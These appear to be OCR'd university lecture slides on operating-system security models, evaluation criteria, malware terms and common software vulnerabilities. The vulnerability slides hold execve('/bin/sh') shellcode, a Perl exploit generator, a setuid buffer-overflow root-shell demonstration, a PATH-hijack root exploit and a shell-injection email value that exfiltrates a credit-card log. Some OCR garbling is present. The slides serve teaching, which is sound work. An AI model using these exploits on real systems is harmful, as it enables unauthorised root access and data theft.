A good tutorial is A Guide to Understanding Covert Channel Analysis of Trusted Systems,
NCSC-TG-030 “Light Pink Book”, 1993-11, http://www.fas.org/irp/nsa/rainbow/tg030.htm
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A commercial data integrity model

Clark /Wilson noted that BLP is not suited for commercial applications,
where data integrity (prevention of mistakes and fraud) are usually the
primary concern, not confidentiality.

Commercial security systems have to maintain both internal consistency
(that which can be checked automatically) and external consistency
(data accurately describes the real world). To achieve both, data should
only be modifiable via well-formed transactions, and access to these has
to be audited and controlled by separation of duty.

In the Clark/Wilson framework, which formalises this idea, the integrity
protected data is referred to as Constrained Data Items (CDls), which
can only be accessed via Transformation Procedures (TPs). There are
also Integrity Verification Procedures (IVPs), which check the validity of
CDls (for example, whether the sum of all accounts is zero), and special
TPs that transform Unconstrained Data Items (UDIs) such as outside
user input into CDls.
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In the Clark/Wilson framework, a security policy requires:
For all CDlIs there is an Integrity Verification Procedure.

All TPs must be certified to maintain the integrity of any CDI.
A CDI can only be changed by a TP.
A list of (subject, TP, CDI) triplets restricts execution of TPs.

This access control list must enforce a suitable separation of duty
among subjects and only special subjects can change it.

Special TPs can convert Unconstrained Data Items into CDls.

Subjects must be identified and authenticated before they can
invoke TPs.

@ A TP must log enough audit information into an append-only CDI
to allow later reconstruction of what happened.

@ Correct implementation of the entire system must be certified.

D.R. Clark, D.R. Wilson: A comparison of commercial and military computer security policies.
IEEE Security & Privacy Symposium, 1987, pp 184-194.



Trusted Computing Base

The Trusted Computing Base (TCB) are the parts of a system
(hardware, firmware, software) that enforce a security policy.

A good security design should attempt to make the TCB as small as
possible, to minimise the chance for errors in its implementation and to
simplify careful verification. Faults outside the TCB will not help an
attacker to violate the security policy enforced by it.

Example

In a Unix workstation, the TCB includes at least:

a) the operating system kernel including all its device drivers

b) all processes that run with root privileges

c) all program files owned by root with the set-user-ID-bit set

d) all libraries and development tools that were used to build the above
e) the CPU

f) the mass storage devices and their firmware

g) the file servers and the integrity of their network links

A security vulnerability in any of these could be used to bypass the entire Unix access
control mechanism.



Basic operating-system security functions

Domain separation

The TCB (operating-system kernel code and data structures, etc.) must
itself be protected from external interference and tampering by untrusted
subjects.

Reference mediation

All accesses by untrusted subjects to objects must be validated by the
TCB before succeeding.

Typical implementation: The CPU can be switched between supervisor mode (used by kernel) and
user mode (used by normal processes). The memory management unit can be reconfigured only by
code that is executed in supervisor mode. Software running in user mode can access only selected
memory areas and peripheral devices, under the control of the kernel. In particular, memory areas
with kernel code and data structures are protected from access by application software.
Application programs can call kernel functions only via a special interrupt/trap instruction, which
activates the supervisor mode and jumps into the kernel at a predefined position, as do all
hardware-triggered interrupts. Any inter-process communication and access to new object has to
be requested from and arranged by the kernel with such system calls.

Today, similar functions are also provided by execution environments that operate at a higher-level
than the OS kernel, e.g. Java/C# virtual machine, where language constraints (type checking)
enforce domain separation, or at a lower level, e.g. virtual machine monitors like Xen or VMware.
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Residual information protection

The operating system must erase any storage resources (registers, RAM
areas, disc sectors, data structures, etc.) before they are allocated to a
new subject (user, process), to avoid information leaking from one
subject to the next.

This function is also known in the literature as “object reuse” or “storage
sanitation” .

There is an important difference between whether residual information is
erased when a resource is

(1) allocated to a subject or
(2) deallocated from a subject.

In the first case, residual information can sometimes be recovered after a
user believes it has been deleted, using specialised “undelete” tools.

Forensic techniques might recover data even after it has been physically erased, for example due to
magnetic media hysteresis, write-head misalignment, or data-dependent aging. P. Gutmann:
Secure deletion of data from magnetic and solid-state memory. USENIX Security Symposium,
1996, pp. 77-89. http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html
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Classification of operating-system security |

In 1983, the US DoD published the “Trusted computer system evaluation
criteria (TCSEC)", also known as “Orange Book”.

It defines several classes of security functionality required in the TCB of
an operating system:

@ Class D: Minimal protection — no authentication, access control, or
object reuse (example: MS-DOS, Windows98)

@ Class C1: Discretionary security protection — support for
discretionary access control, user identification/authentication,
tamper-resistant kernel, security tested and documented (e.g.,
classic Unix versions)

@ Class C2: Controlled access protection — adds object reuse, audit
trail of object access, access control lists with single user granularity
(e.g., Unix with some auditing extensions, Windows NT in a special
configuration)
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Classification of operating-system security |l

@ Class B1: Labeled security protection — adds confidentiality labels for
objects, mandatory access control policy, thorough security testing

@ Class B2: Structured protection — adds trusted path from user to
TCB, formal security policy model, minimum/maximum security
levels for devices, well-structured TCB and user interface, accurate
high-level description, identify covert storage channels and estimate
bandwidth, system administration functions, penetration testing,
TCB source code revision control and auditing

@ Class B3: Security domains — adds security alarm mechanisms,
minimal TCB, covert channel analysis, separation of system
administrator and security administrator

@ Class Al: Verified design — adds formal model for security policy,
formal description of TCB must be proved to match the
implementation, strict protection of source code against
unauthorised modification
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Common Criteria

In 1999, TCSEC and its European equivalent ITSEC were merged into
the Common Criteria for Information Technology Security Evaluation.

@ Covers not only operating systems but a broad spectrum of security
products and associated security requirements

@ Provides a framework for defining new product and application
specific sets of security requirements (protection profiles)
E.g., NSA’s Controlled Access Protection Profile (CAPP) replaces Orange Book C2.

@ Separates functional and security requirements from the intensity of
required testing (evaluation assurance level, EAL)

EALL: tester reads documentation, performs some functionality tests

EAL2: developer provides test documentation and vulnerability analysis for review

EAL3: developer uses RCS, provides more test and design documentation

EAL4: low-level design docs, some TCB source code, secure delivery, independent vul. analysis

(highest level considered economically feasible for existing product)

EALS5: Formal security policy, semiformal high-level design, full TCB source code, indep. testing
EAL6: Well-structured source code, reference monitor for access control, intensive pen. testing

EAL7: Formal high-level design and correctness proof of implementation

E.g., Windows Vista Enterprise was evaluated for CAPP at EAL4 + ALC_FLR.3 (flaw remediation).
http://www.commoncriteriaportal.org/

116


http://www.commoncriteriaportal.org/

Common terms for malicious software

@ Trojan horse — application software with hidden/undocumented
malicious side-effects (e.g. “AIDS Information Disk”, 1989)

@ Backdoor — function in a Trojan Horse that enables unauthorised
access

@ Logic bomb — a Trojan Horse that executes its malicious function
only when a specific trigger condition is met (e.g., a timeout after
the employee who authored it left the organisation)

@ Virus — self-replicating program that can infect other programs by
modifying them to include a version of itself, often carrying a logic
bomb as a payload (Cohen, 1984)

@ Worm — self-replicating program that spreads onto other computers
by breaking into them via network connections and — unlike a virus —
starts itself on the remote machine without infecting other programs
(e.g., “Morris Worm” 1988: a2 8000 machines, “ILOVEYOU" 2000:
estimated 45 x 10° machines)

@ Root kit — Operating-system modification to hide intrusion
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Computer viruses |

’ ? ‘ l Program ‘ A Virus i ‘
1 ]

@ Viruses are only able to spread in environments, where
o the access control policy allows application programs to modify the

code of other programs (e.g., MS-DOS and Windows)

e programs are exchanged frequently in executable form

@ The original main virus environment (MS-DOS) supported transient,
resident and boot sector viruses.

@ As more application data formats (e.g., Microsoft Word) become
extended with sophisticated macro languages, viruses appear in
these interpreted languages as well.

@ Viruses are mostly unknown under Unix. Most installed application
programs are owned by root with rwxr-xr-x permissions and used
by normal users. Unix programs are often transferred as source code,
which is difficult for a virus to infect automatically.
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Computer viruses |l

@ Malware scanners use databases with characteristic code fragments
of most known viruses and Trojans, which are according to some
scanner-vendors around three million today (— polymorphic viruses).

@ Virus scanners — like other intrusion detectors — fail on very new or
closely targeted types of attacks and can cause disruption by giving
false alarms occasionally.

@ Some virus intrusion-detection tools monitor changes in files using
cryptographic checksums.
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Common software vulnerabilities

@ Missing checks for data size (— stack buffer overflow)

@ Missing checks for data content (e.g., shell meta characters)
@ Missing checks for boundary conditions

@ Missing checks for success/failure of operations

@ Missing locks — insufficient serialisation

@ Race conditions — time of check to time of use

@ Incomplete checking of environment

@ Unexpected side channels (timing, etc.)

@ Lack of authentication

The “curses of security” (Gollmann): change, complacency, convenience
(software reuse for inappropriate purposes, too large TCB, etc.)

C.E. Landwehr, et al.: A taxonomy of computer program security flaws, with examples.
ACM Computing Surveys 26(3), September 1994.
http://dx.doi.org/10.1145/185403.185412
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Missing check of data size: buffer overflow on stack

A C program declares a local short string variable
char buffer[80];
and then uses the standard C library routine call
gets(buffer);
to read a single text line from standard input and save it into buffer.
This works fine for normal-length lines but corrupts the stack if the input

is longer than 79 characters. Attacker loads malicious code into buffer
and redirects return address to its start:

Memory: | Program ‘Data ‘Heap‘ free ‘ Stack ‘

Stack: |...V—ba—f—f—e%|}89}—‘—HL‘—R-.=_Er—‘—Paﬁameters ]

121



overflow exploit

To exploit a buffer overflow, the attacker typically prepares a byte
sequence that consists of
@ a “landing pad” — an initial sequence of no-operation (NOP)
instructions that allow for some tolerance in the entry jump address

@ machine instructions that modify a security-critical data structure or
that hand-over control to another application to gain more access
(e.g., a command-line shell)

@ some space for function-call parameters

@ repeated copies of the estimated start address of the buffer, in the
form used for return addresses on the stack.

Buffer-overflow exploit sequences often have to fulfil format constraints,
e.g. not contain any NUL or LF bytes (which would not be copied).

Aleph One: Smashing the stack for fun and profit. Phrack #49, November 1996.
http://wuw.phrack.org/issues.html?issue=49&id=14&mode=txt
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Buffer overflow exploit: example code

Assembler code for Linux/ix86:

90

EB1F

5E 10:
897608

31C0

884607

89460C

BOOB

89F3

8D4E08

8D560C

CD80

31DB

89D8

40

CD80
ESDCFFFFFF 11:
2F62696E2F
736800

nop
jmp

popl
movl
xorl
movb
movl
movb
movl
leal
leal
int

xorl
movl
inc

int

call

11

fhesi

Yhesi,0x8 (Yhesi)
feax, heax
%hal,0x7 (Yhesi)
fheax,0xc (hesi)
$0xb, %al
%esi,%ebx

0x8 (%esi) ,%hecx
0xc (hesi) ,%edx
$0x80
Y%ebx , hebx
%ebx , heax

fheax

$0x80

10

.string "/bin/sh"

HOH OH B H HHHHHHE R HH

H H

landing pad

jump to call before cmd string

ESI = &cmd

argv[0] = (char #**)(cmd + 8) = &cmd
EAX = 0 (without using \O byte!)
cmd [7] = '\O'

argv[1] = NULL

EAX = 11 [syscall number for execve()]
EBX = string address ("/bin/sh")
ECX = string addr + 8 (argv[0])
EDX = string addr + 12 (argv[1]l)
system call into kernel

EBX = 0

EAX = 0

EAX = 1 [syscall number for exit()]
system call into kernel

&cmd -> stack, then go back up

cmd = "/bin/sh"

argv[0] = &cmd
argv[1] = NULL
modified return address
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In the following demonstration, we attack a very simple example of a
vulnerable C program that we call stacktest. Imagine that this is (part
of) a setuid-root application installed on many systems:

int main() {

char buf [80];

strcpy(buf, getenv("HOME"));

printf ("Home directory: %s\n", buf);
}

This program reads the environment variable $HOME, which normally
contains the file-system path of the user's home directory, but which the
user can replace with an arbitrary byte string.

It then uses the strcpy () function to copy this string into an 80-bytes
long character array buf, which is then printed.

The strcpy(dest, src) function copies bytes from src to dest, until
it encounters a 0-byte, which marks the end of a string in C.

A safer version of this program could have checked the length of the string before copying it. It
could also have used the strncpy(dest, sre, n) function, which will never write more than n
bytes: strncpy(buf, getenv("HOME"), sizeof(buf)-1); buf[sizeof(buf)-1] = 0;



The attacker first has to guess the stack pointer address in the procedure
that causes the overflow. It helps to print the stack-pointer address in a
similarly structured program stacktest?2:

unsigned long get_sp(void) {
asm__("movl %esp,%eax");

}

int main()
{

char buf[80];

printf("getsp() = 0x%041x\n", get_sp());
}

The function get_sp() simply moves the stack pointer esp into the eax
registers that C functions use on Pentium processors to return their
value. We call get_sp() at the same function-call depth (and with
equally sized local variables) as strcpy() in stacktest:

$ ./stacktest2
0x0xbffff624



The attacker also needs an auxiliary script stackattack.pl to prepare
the exploit string:

#!/usr/bin/perl

$shellcode =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\x£3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

print (("\x90" x ($ARGV[0] + 4 - (length($shellcode) % 4))) .

$shellcode . (pack('i', $ARGV[1] + $ARGV[2]) x $ARGVI[3]));
Finally, we feed the output of this stack into the environment variable

$HOME and call the vulnerable application:

$ HOME="./stackattack.pl 32 Oxbffff624 48 20" ./stacktest

# id

uid=0(root) gid=0(root) groups=0(root)
Some experimentation leads to the choice of a 32-byte long NOP landing
pad, a start address pointing to a location 48 bytes above the estimated
stack pointer address, and 20 repetitions of this start address at the end
(to overwrite the return value), which successfully starts the /bin/sh
command as root.

To make this demonstration still work easily on a modern Linux distribution, a number of newer
stack-protection mechanisms aimed at mitigating this risk may have to be switched off first:
“setarch 1686 -R", “gcc -fno-stack-protector”, ...



overflows

Overwriting the return address on the stack and executing shell code on
the stack is just one form of a buffer overflow attack. If the return
address cannot be reached, or code execution is disabled on the stack,
alternative routes include:

@ overwrite a function pointer variable on the stack

@ overwrite previous frame pointer

@ overwrite security-critical variable value on stack

@ return directly into an application or standard library function
Some possible countermeasures (in order of preference):

@ Use programming language with array bounds checking
(Java, Ada, C#, Perl, Python, Go, etc.).

@ Configure memory management unit to disable code execution on
the stack.

@ Compiler adds integrity check values before return address.

@ Operating system randomizes address space layout.
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Example for missing check of input data

A web server allows users to provide an email address in a form field to
receive a file. The address is received by a naively implemented Perl CGlI
script and stored in the variable $email. The CGI script then attempts
to send out the email with the command

system("mail $email <message");

This works fine as long as $email contains only a normal email address,
free of shell meta-characters. An attacker provides a carefully selected
pathological address such as

trustnol@hotmail.com < /var/db/creditcards.log ; echo

and executes arbitrary commands (here to receive confidential data via
email). The solution requires that each character with special meaning
handed over to another software is prefixed with a suitable escape symbol
(e.g., \or '..." in the case of the Unix shell). This requires a detailed
understanding of the recipient’'s complete syntax.

Checks for meta characters are very frequently forgotten for text strings that are passed on to SQL
engines (“SQL injection”), embedded into HTML pages ( “cross-site scripting”), etc.
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Missing checks of environment

Developers easily forget that the semantics of many library functions
depends not only on the parameters passed to them, but also on the
state of the execution environment.

Example of a vulnerable setuid root program /sbin/envdemo:

int main() {
system("rm /var/log/msg");

}
The attacker can manipulate the $PATH environment variable, such that
her own rm program is called, rather than /usr/bin/rm:

$ cp /bin/sh rm

$ export PATH=.:$PATH

$ envdemo

# id

uid=0(root) gid=0(root) groups=0(root)

Best avoid unnecessary use of the functionally too rich command shell: unlink("/var/log/msg") ;
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Integer overflows

Integer numbers in computers behave differently from integer numbers in
mathematics. For an unsigned 8-bit integer value, we have
266+ 1 ==0
0 -1 == 255
16 % 17 == 16
and likewise for a signed 8-bit value, we have
127 + 1 == -128
-128 / -1 == -128
And what looks like an obvious endless loop
int i = 1;
while (1 > 0)
i=1 % 2;

terminates after 15, 31, or 63 steps (depending on the register size).
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Integer overflows are easily overlooked and can lead to buffer overflows
and similar exploits. Simple example (OS kernel system-call handler):

char buf[128];

combine(char *s1, size_t lenl, char *s2, size_t len2)

{
if (lenl + len2 + 1 <= sizeof(buf)) {

strncpy(buf, s1, lenl);
strncat (buf, s2, len2);
}
}
It appears as if the programmer has carefully checked the string lengths
to make a buffer overflow impossible.

But on a 32-bit system, an attacker can still set 1en2 = Oxffffffff,
and the strncat will be executed because

lenl + Oxffffffff + 1 == lenl < sizeof (buf) .



Race conditions

Developers often forget that they work on a preemptive multitasking
system. Historic example:

The xterm program (an X11 Window System terminal emulator) is setuid
root and allows users to open a log file to record what is being typed.
This log file was opened by xterm in two steps (simplified version):

1) Change in a subprocess to the real uid/gid, in order to test with
access(logfilename, W_0K) whether the writable file exists. If
not, creates the file owned by the user.

2) Call (as root) open(logfilename, O_WRONLY | O_APPEND) to
open the existing file for writing.

The exploit provides as logfilename the name of a symbolic link that
switches between a file owned by the user and a target file. If access()
is called while the symlink points to the user's file and open() is called
while it points to the target file, the attacker gains via xterm's log
function write access to the target file (e.g., “root/.rhosts).
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Insufficient parameter checking

Historic example:
Smartcards that use the ISO 7816-3 T=0 protocol exchange data like

this:
reader -> card: CLA INS P1 P2 LEN
card -> reader: INS
card <-> reader: ... LEN data bytes ...
card -> reader: 90 00

All exchanges start with a 5-byte header in which the last byte identifies
the number of bytes to be exchanged. In many smartcard
implementations, the routine for sending data from the card to the reader
blindly trusts the LEN value received. Attackers succeeded in providing
longer LEN values than allowed by the protocol. They then received
RAM content after the result buffer, including areas which contained
secret keys.
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Subtle syntax incompatibilities

Example: Overlong UTF-8 sequences

The UTF-8 encoding of the Unicode character set was defined to use
Unicode on systems (like Unix) that were designed for ASCII. The

encoding

U000000 - UOOOO7F: OXXXXXXX

U000080 - UOOO7FF: 110xxxxx 10XXXXXX

U000800 - UOOFFFF: 1110xxxx 10xxxxxX 10XXXXXX

U010000 - U10FFFF: 11110xxx 10xxxxxxX 10xxxXxXxX 10XXXXXX

was designed, such that all ASCII characters (U0000-U007F) are
represented by ASCII bytes (0x00-0x7f), whereas all non-ASCI|
characters are represented by sequences of non-ASCI| bytes (0x80-0x£7).

The xxx bits are simply the least-significant bits of the binary
representation of the Unicode number. For example, UOOA9 = 1010 1001
(copyright sign) is encoded in UTF-8 as

11000010 10101001 = 0Oxc2 0Oxa9
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Only the shortest possible UTF-8 sequence is valid for any Unicode
character, but many UTF-8 decoders accept also the longer variants. For
example, the slash character ‘/' (UOO2F) can be the result of decoding
any of the four sequences

00101111 = ox2f

11000000 10101111 0xcO Oxaf

11100000 10000000 10101111 OxeO 0x80 Oxaf

11110000 10000000 10000000 10101111 0xf0 0x80 0x80 Oxaf

Many security applications test strings for the absence of certain ASCII
characters. If a string is first tested in UTF-8 form, and then decoded
into UTF-16 before it is used, the test will not catch overlong encoding
variants.

This way, an attacker can smuggle a */' character past a security check
that looks for the 0x2f byte, if the UTF-8 sequence is later decoded
before it is interpreted as a filename (as is the case under Microsoft
Windows, which let to a widely exploited IIS vulnerability).
http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
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Penetration analysis / flaw hypothesis testing

@ Put together a team of software developers with experience on the
tested platform and in computer security.

@ Study the user manuals and where available the design
documentation and source code of the examined security system.

@ Based on the information gained, prepare a list of potential flaws
that might allow users to violate the documented security policy
(vulnerabilities). Consider in particular:

e Common programming pitfalls (see page 120)

e Gaps in the documented functionality (e.g., missing documented
error message for invalid parameter suggests that programmer forgot
to add the check).

@ sort the list of flaws by estimated likelihood and then perform tests
to check for the presence of the postulated flaws until available time
or number of required tests is exhausted. Add new flaw hypothesis
as test results provide further clues.
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Further reading: cryptography

@ Jonathan Katz, Yehuda Lindell: Introduction to Modern
Cryptography. Chapman & Hall/CRC, 2008.

Good recent cryptography textbook, particular focus on exact definitions of security
properties and how to prove them.

@ Douglas Stinson: Cryptography — Theory and Practice. 3rd ed.,
CRC Press, 2005

Good recent cryptography textbook, covers underlying mathematical theory well.

@ Bruce Schneier: Applied Cryptography. Wiley, 1995

Older, very popular, comprehensive treatment of cryptographic algorithms and protocols,
easy to read. Lacks some more recent topics (e.g., AES, security definitions).

@ Menezes, van Oorschot, Vanstone: Handbook of Applied
Cryptography. CRC Press, 1996,
http://www.cacr.math.uwaterloo.ca/hac/

Comprehensive summary of modern cryptography, valuable reference for further work in this
field.

@ Neal Koblitz: A Course in Number Theory and Cryptography, 2nd
edition, Springer Verlag, 1994
@ David Kahn: The Codebreakers. Scribner, 1996

Very detailed history of cryptology from prehistory to World War I1.
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Further reading: computer security

@ Ross Anderson: Security Engineering. 2nd ed., Wiley, 2008

Comprehensive treatment of many computer security concepts, easy to read.
o Garfinkel, Spafford: Practical Unix and Internet Security, O'Reilly,
1996

o Graff, van Wyk: Secure Coding: Principles & Practices, O'Reilly,
2003.
Introduction to security for programmers. Compact, less than 200 pages.

@ Michael Howard, David C. LeBlanc: Writing Secure Code. 2nd ed,
Microsoft Press, 2002, ISBN 0735617228.

More comprehensive programmer’s guide to security.

@ Cheswick et al.: Firewalls and Internet security. Addison-Wesley,
2003.

Both decent practical introductions aimed at system administrators.
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Research

Most of the seminal papers in the field are published in a few key
conferences, for example:

IEEE Symposium on Security and Privacy

ACM Conference on Computer and Communications Security (CCS)
Advances in Cryptology (CRYPTO, EUROCRYPT, ASIACRYPT)
USENIX Security Symposium

European Symposium on Research in Computer Security (ESORICS)

Annual Network and Distributed System Security Symposium (NDSS)

If you consider doing a PhD in security, browsing through their
proceedings for the past few years might lead to useful ideas and
references for writing a research proposal. Many of the proceedings are in
the library or can be freely accessed online via the links on:

http://www.cl.cam.ac.uk/research/security/conferences/
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CL Security Group seminars and meetings

Security researchers from the Computer Laboratory and Microsoft
Research meet every Friday at 16:00 for discussions and brief
presentations.

In the Security Seminar on many Tuesdays during term at 16:15, guest
speakers and local researchers present recent work and topics of current
interest. You are welcome to join.

http://www.cl.cam.ac.uk/research/security/
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